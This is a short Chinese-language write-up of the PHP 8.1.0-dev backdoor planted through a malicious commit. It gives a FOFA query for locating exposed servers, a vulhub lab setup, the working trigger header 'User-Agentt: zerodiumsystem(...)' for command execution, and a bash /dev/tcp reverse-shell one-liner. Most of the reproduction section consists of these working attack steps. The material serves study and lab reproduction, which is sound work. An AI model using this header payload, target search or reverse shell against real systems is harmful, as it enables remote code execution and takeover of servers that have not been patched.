目录
一. 漏洞概述
PHP开发工程师Jake Birchall在对其中一个恶意COMMIT的分析过程中发现,在代码中注入的后门是来自一个PHP代码被劫持的网站上,并且采用了远程代码执行的操作,并且攻击者盗用了PHP开发人员的名义来提交此COMMIT。
目前为止PHP官方并未就该事件进行更多披露,表示此次服务器被黑的具体细节仍在调查当中。由于此事件的影响,PHP的官方代码库已经被维护人员迁移至GitHub平台,之后的相关代码更新、修改将会都在GitHub上进行。
二. 漏洞影响
- PHP 8.1.0-dev
三. 漏洞复现
FOFA搜索:
"PHP/8.1.0-dev"
1. 环境搭建
利用vulhub搭建环境,进入/vulhub-master/php/8.1-backdoor中,执行docker-compose up -d启动环境,访问8080
2. 文件读取
后门为添加请求头
User-Agentt: zerodiumsystem('id');
3. 反弹shell
可以执行命令,那我们就可以进行反弹shell了
linux下反弹shell的语句
bash -c 'exec bash -i &>/dev/tcp/ip/端口 <&1'